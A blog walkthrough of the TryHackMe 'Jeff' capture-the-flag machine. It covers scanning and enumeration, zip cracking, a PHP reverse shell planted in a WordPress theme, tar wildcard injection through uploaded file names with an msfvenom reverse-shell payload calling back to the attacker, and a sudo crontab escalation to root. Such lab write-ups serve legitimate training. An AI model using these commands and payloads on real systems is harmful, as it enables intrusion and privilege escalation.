Hacking Jeff – Writeup

Khalid AlnajjarHacking, Security Leave a Comment

Jeff has started his web development but little did he know that hackers are always ready to break in, at any day and time. Jeff’s website is accessible through a virtual machine via tryhackme.com (a platform for learning and practicing penetration testing). Let’s see whether we can pwn his web server or not. Deploy Jeff’s machine and let the fun begin.

The very first step is gathering information about the server, we’ll fire up nmap and scan all the port of the server.

nmap -sT -sV -A -p- IP
PORT   STATE SERVICE VERSION                                                                                                                                                                                                                                                                                               
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)                                                                                                                                                                                                                                          
| ssh-hostkey:                                                                                                                                                                                                                                                                                                             
|   2048 7e:43:5f:1e:58:a8:fc:c9:f7:fd:4b:40:0b:83:79:32 (RSA)                                                                                                                                                                                                                                                             
|   256 5c:79:92:dd:e9:d1:46:50:70:f0:34:62:26:f0:69:39 (ECDSA)                                                                                                                                                                                                                                                            
|_  256 ce:d9:82:2b:69:5f:82:d0:f5:5c:9b:3e:be:76:88:c3 (ED25519)                                                                                                                                                                                                                                                          
80/tcp open  http    nginx                                                                                                                                                                                                                                                                                                 
|_http-title: Site doesn't have a title (text/html).                                                                                                                                                                                                                                                                       
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nice, ssh and http are open and he is using nginx on Ubuntu. Let’s try to visit the website. We’ll see an empty page, that’s odd. Let’s look at the full headers and response and we’ll see that there is a comment telling us to add jeff.thm to our hosts. We can do that by adding IP jeff.thm /etc/hosts. Now let’s visit http://jeff.thm and we’ll see that it loads a home page with some description about what he does for living, what he likes to do and his plan for upgrading the website to wordpress.

As we have access to the website now, let the enumeration begin! For that, I’ll use gobuster.

gobuster dir --url http://jeff.thm/ --wordlist /usr/share/wordlists/dirb/common.txt  -t 8
/admin (Status: 301)
/assets (Status: 301)
/backups (Status: 301)
/index.html (Status: 200)
/uploads (Status: 301)

Visiting these pages will reveal nothing, even the typical /admin/login.php is an empty downloadable file. Maybe there is something hidden and we need to find it. For such a task, I like using wfuzz as it is rather fast and customizable (especially for backups as we can try out different backup formats). My hunch was that there would be either php, c or a common backup file.

wfuzz -c -v -w /usr/share/wordlists/wfuzz/general/common.txt -z list,php-c-zip-tar-7z-gz-bz2-tar.gz -u http://jeff.thm/backups/FUZZ.FUZ2Z --hc 404

Ah! We found it, backup.zip! When opening it, we’ll be asked for a password. Luckily, we can crack it offline.

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup.zip 

Pingo! We can read it now. We’ll see that it contains a password to wordpress, but there was no wordpress directory based on the enumeration. Probably it is installed under a subdomain, which is a common practice. We’ll execute the same gobuster command but now using vhost instead of dir. Found, wordpress.jeff.thm. Add it to the host and let’s login in on http://wordpress.jeff.thm/wp-admin/. My guess was that the username is jeff, a way to check it out is to ask for a password reset and keep an eye on the error message or try to see if WordPress JSON API is enabled and lists users.

Now that we have access to admin panel, we can easily gain a reverse shell by editing any of the writable plugins/themes. Before that, let’s start listening to connections with nc -nvlp 4444. For the reverse shell, I have used the one that is supplied with kali under /usr/share/webshells/php/php-reverse-shell.php. Make sure to edit the below variables to your IP and the port you are listening to.

$ip = '';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

I decided to edit a theme (under Appearance -> Theme Editor) that isn’t enabled (TwentyNineteen) and chose comments.php to be the file to replace with the reverse shell, like the image below:

Let’s navigate to http://wordpress.jeff.thm/wp-content/themes/twentynineteen/comments.php and we’ll see that we got a shell access to the server!

Looking around in the sever and enumerating different Linux enumerations like LinEnum and LES didn’t reveal much other than a file under the website’s root directory that isn’t part of wordpress framework with an interesting name (/var/www/html/ftp_backup.php). The file reads:

/* ... */
$dbFile = 'db_backup/backup.sql';
$ftpFile = 'backup.sql';                                                                                                                                                                                                                                                                                                   
$username = "REMOVED";                                                                                                                                                                                                                                                                                                   
$password = "REMOVED";                                                                                                                                                                                                                                                                                       
$ftp = ftp_connect(""); // todo, set up /etc/hosts for the container host
if( ! ftp_login($ftp, $username, $password) ){                                                                                                                                                                                                                                                                             
    die("FTP Login failed.");                                                                                                                                                                                                                                                                                              
$msg = "Upload failed";                                                                                                                                                                                                                                                                                                    
if (ftp_put($ftp, $remote_file, $file, FTP_ASCII)) {                                                                                                                                                                                                                                                                       
    $msg = "$file was uploaded.\n";                                                                                                                                                                                                                                                                                        
echo $msg;                                                                                                                                                                                                                                                                                                                 

The code tells us that it is trying to upload a database backup to another server through FTP but the code is actually broken (it uses undefined variables in ftp_put). Let’s see what the FTP server has, for this I will be using curl.

curl -s -v 'ftp://backupmgr:[email protected]/'

Running the command will result in a successful login and a timeout. The timeout happens because we are trying to access the FTP passively but it seems that the server is rejecting our PORT requests. Let’s try the command with an active connection instead (by adding -P -).

curl -s -v  -P - 'ftp://backupmgr:[email protected]/'

And boom, it worked like a charm and listed the directory to us. We see that there is a folder named files. Given Jeff’s trial to upload a database backup to the server, I assumed that the server on the other side does something with the uploaded backup. A common user privilege escalation exploits misconfigured cronjobs that contain wildcards, like tar cf archive.tar * and rsync -t *.sql /var/backups/.

The idea behind the exploit is that if we can create file names that look like parameters of the command, they will be matched with the wildcard and passed to the command. I have tried both exploits on the server and tar was the one that worked. For tar, we need two parameters --checkpoint and --checkpoint-action. These parameters tell tar to activate showing us the progress of compression and what action to execute at each checkpoint.

For the payload, I have used msfvenom to generate it in python3 using the command:

msfvenom -p cmd/unix/reverse_python  lhost=YOURIP lport=1234 R

Let’s create our shell (that will be executed at each checkpoint) with the payload generated:

cd /tmp/
echo "python3 -c \"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IH.................')[0]))\"" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
$ ls -1
--checkpoint-action=exec=sh shell.sh

When executing tar cf archive.tar * on a directory containing these files, the command would be tar cf archive.tar shell.sh --checkpoint-action=exec=sh shell.sh --checkpoint=1, which means profit!

Now, we’ll listen for connections (nc -nvlp 1234) and, then, upload the exploit to the ftp server:

curl -T "--checkpoint-action=exec=sh shell.sh" -P - 'ftp://backupmgr:[email protected]/files/'
curl -T "--checkpoint=1" -P - 'ftp://backupmgr:[email protected]/files/'
curl -T shell.sh -P - 'ftp://backupmgr:[email protected]/files/'

We can test if our files were uploaded with:

curl -P - 'ftp://backupmgr:[email protected]/files/' -s

Cool, our exploit has been uploaded successfully and all we have to do is wait to see if it will work as expected or not. Within around a minute, we’ll see that we got connected.

Reading /etc/passwd tells us that there is a user that is named jeff (our target). Doing the usual, searching for files with different owners, permissions and contents, will highlight an interesting file that is owned by jeff and is readable and writable by us.

find / -user jeff -perm -o=r 2> /dev/null

The directory /opt/systools/ contains two files, a message and an executable program. The messages says something about Jeff not forgetting to login with his account to change his password. Running the code didn’t show me anything (didn’t upgrade my shell, don’t be me and execute python -c "import pty; pty.spawn('/bin/bash')"). Reading the hexcode of the systool file (with xxd systool) tells us that there is a file “message.txt” that it tries to read and that there is a menu with 3 options: 1) show running processes, 2) restore the password and 3) exit. I upgraded the shell, ran the script and tried the three options. Option 2 showed the content of the message.txt of the same file, so probably it is reading it, which was confirmed with strace.

Looking at the messages file, we see that we can do whatever to it and it is owned by the root; however, systool is owned by the group pwman. Let’s search for files owned by this group (find / -group pwman 2> /dev/null). Interesting, only two files are owned by pwman and this is rather obvious now, let’s remove messages and replace it with a symbolic link to the backup file /var/backups/jeff.bak and then execute systool and chose the 2nd option:

rm /opt/systools/message.txt
ln -s /var/backups/jeff.bak /opt/systools/message.txt

and Your Password is: XXX-XX-XXX-XXX-XXXX-XXX 🙂

Changing the user to jeff using su - jeff and trying out the password worked! Remember that SSH port was open, let’s try to login with it through SSH (ssh [email protected]) so we’d have a better shell and we don’t need to go through the whole process every time we forget to add an hour to the virtual machine.

Executing any command gives an error: -rbash: /usr/lib/command-not-found: restricted: cannot specify `/' in command names

Trying to set the PATH with (export PATH=$PATH:/bin/:/usr/bin/) tells us “-rbash: PATH: readonly variable”. So Jeff is using a restricted bash, let’s leave and ask for a better one (ssh [email protected] -t "bash -l") and then update the PATH variable. Good, it works properly now. Read the user.txt flag, hash it’s content and submit it.

Getting root was straightforward, trying sudo -l indicated that we can only run /usr/bin/crontab with sudo:

Matching Defaults entries for jeff on tryharder:                                                                                                                                                                                                                                                                           
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin                                                                                                                                                                                                      
User jeff may run the following commands on tryharder:                                                                                                                                                                                                                                                                     
    (ALL) /usr/bin/crontab

Run sudo crontab -e and add the below line at the end:

* * * * * /bin/cp /root/root.txt /tmp/root.txt; /bin/chmod 777 /tmp/root.txt >/dev/null 2>&1

Wait a minute then read /tmp/root.txt and voilà!